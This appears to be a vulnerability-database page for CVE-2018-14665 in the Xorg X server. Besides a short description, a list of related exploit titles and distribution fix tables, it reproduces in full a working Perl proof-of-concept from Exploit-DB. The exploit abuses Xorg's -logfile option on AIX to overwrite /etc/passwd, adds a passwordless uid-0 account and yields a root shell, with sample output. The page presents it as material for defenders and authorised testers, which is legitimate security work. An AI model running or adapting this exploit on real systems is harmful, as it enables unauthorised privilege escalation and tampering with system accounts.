CVE-2018-14665
Description
A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission check for -modulepath and -logfile options when starting Xorg. X server allows unprivileged users with the ability to log in to the system via physical console to escalate their privileges and run arbitrary code under root privileges.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Xorg X11 Server (AIX) - Local Privilege Escalation
# Exploit Title: AIX Xorg X11 Server - Local Privilege Escalation
# Date: 29/11/2018
# Exploit Author: @0xdono
# Original Discovery and Exploit: Narendra Shinde
# Vendor Homepage: https://www.x.org/
# Platform: AIX
# Version: X Window System Version 7.1.1
# Fileset: X11.base.rte < 7.1.5.32
# Tested on: AIX 7.1 (6.x to 7.x should be vulnerable)
# CVE: CVE-2018-14665
#
# Explanation:
# Incorrect command-line parameter validation in the Xorg X server can
# lead to privilege elevation and/or arbitrary files overwrite, when the
# X server is running with elevated privileges.
# The -logfile argument can be used to overwrite arbitrary files in the
# file system, due to incorrect checks in the parsing of the option.
#
# This is a port of the OpenBSD X11 Xorg exploit to run on AIX.
# It overwrites /etc/passwd in order to create a new user with root privileges.
# All currently logged in users need to be included when /etc/passwd is overwritten,
# else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
# The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,
# and is replaced by '-config'.
# ksh93 is used for ANSI-C quoting, and is installed by default on AIX.
#
# IBM has not yet released a patch as of 29/11/2018.
#
# See also:
# https://lists.x.org/archives/xorg-announce/2018-October/002927.html
# https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html
# https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl
#
# Usage:
# $ oslevel -s
# 7100-04-00-0000
# $ Xorg -version
#
# X Window System Version 7.1.1
# Release Date: 12 May 2006
# X Protocol Version 11, Revision 0, Release 7.1.1
# Build Operating System: AIX IBM
# Current Operating System: AIX sovma470 1 7 00C3C6F54C00
# Build Date: 07 July 2006
# Before reporting problems, check http://wiki.x.org
# to make sure that you have the latest version.
# Module Loader present
# $ id
# uid=16500(nmyo) gid=1(staff)
# $ perl aixxorg.pl
# [+] AIX X11 server local root exploit
# [-] Checking for Xorg and ksh93
# [-] Opening /etc/passwd
# [-] Retrieving currently logged in users
# [-] Generating Xorg command
# [-] Opening /tmp/wow.ksh
# [-] Writing Xorg command to /tmp/wow.ksh
# [-] Backing up /etc/passwd to /tmp/passwd.backup
# [-] Making /tmp/wow.ksh executable
# [-] Executing /tmp/wow.ksh
# [-] Cleaning up /etc/passwd and removing /tmp/wow.ksh
# [-] Done
# [+] 'su wow' for root shell
# $ su wow
# # id
# uid=0(root) gid=0(system)
# # whoami
# root
#!/usr/bin/perl
print "[+] AIX X11 server local root exploit\n";
# Check Xorg is in path
print "[-] Checking for Xorg and ksh93 \n";
chomp($xorg = `command -v Xorg`);
if ($xorg eq ""){
print "[X] Can't find Xorg binary, try hardcode it? exiting... \n";
exit;
}
# Check ksh93 is in path
chomp($ksh = `command -v ksh93`);
if ($ksh eq ""){
print "[X] Can't find ksh93 binary, try hardcode it? exiting... \n";
exit;
}
# Read in /etc/passwd
print "[-] Opening /etc/passwd \n";
open($passwd_fh, '<', "/etc/passwd");
chomp(@passwd_array = <$passwd_fh>);
close($passwd_fh);
# Retrieve currently logged in users
print "[-] Retrieving currently logged in users \n";
@users = `who | cut -d' ' -f1 | sort | uniq`;
chomp(@users);
# For all logged in users, add their current passwd entry to string
# that will be used to overwrite passwd
$users_logged_in_passwd = '';
foreach my $user (@users)
{
$user .= ":";
foreach my $line (@passwd_array)
{
if (index($line, $user) == 0) {
$users_logged_in_passwd = $users_logged_in_passwd . '\n' . $line;
}
}
}
# Use '-config' as '-fp' (which is used in the original BSD exploit) is not written to log
print "[-] Generating Xorg command \n";
$blob = '-config ' . '$\'' . $users_logged_in_passwd . '\nwow::0:0::/:/usr/bin/ksh\n#' . '\'';
print "[-] Opening /tmp/wow.ksh \n";
open($fr, '>', "/tmp/wow.ksh");
# Use ksh93 for ANSI-C quoting
print "[-] Writing Xorg command to /tmp/wow.ksh \n";
print $fr '#!' . "$ksh\n";
print $fr "$xorg $blob -logfile ../etc/passwd :1 > /dev/null 2>&1 \n";
close $fr;
# Backup passwd
print "[-] Backing up /etc/passwd to /tmp/passwd.backup \n";
system("cp /etc/passwd /tmp/passwd.backup");
# Make script executable and run it
print "[-] Making /tmp/wow.ksh executable \n";
system("chmod +x /tmp/wow.ksh");
print "[-] Executing /tmp/wow.ksh \n";
system("/tmp/wow.ksh");
# Replace overwritten passwd with: original passwd + wow user
print "[-] Cleaning up /etc/passwd and removing /tmp/wow.ksh \n";
$result = `su wow "-c cp /tmp/passwd.backup /etc/passwd && echo 'wow::0:0::/:/usr/bin/ksh' >> /etc/passwd" && rm /tmp/wow.ksh`;
print "[-] Done \n";
print "[+] 'su wow' for root shell \n";
xorg-x11-server 1.20.3 - Privilege Escalation
xorg-x11-server < 1.20.3 (Solaris 11) - 'inittab Local Privilege Escalation
Xorg X11 Server - Local Privilege Escalation (Metasploit)
xorg-x11-server < 1.20.1 - Local Privilege Escalation
Xorg X11 Server - SUID privilege escalation (Metasploit)
xorg-x11-server < 1.20.3 - 'modulepath' Local Privilege Escalation
xorg-x11-server < 1.20.3 - Local Privilege Escalation
Metasploit modules
OS impact
SUSE Affected 1 release
| Version | Status | Fixed in |
|---|---|---|
| — | Affected | — |
Arch Fixed 1 release
| Version | Status | Fixed in |
|---|---|---|
| — | Fixed | 1.20.3-1 |
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 2:1.20.3-1 |
| sid | Fixed | 2:1.20.3-1 |
| forky | Fixed | 2:1.20.3-1 |
| bullseye | Fixed | 2:1.20.3-1 |
| bookworm | Fixed | 2:1.20.3-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.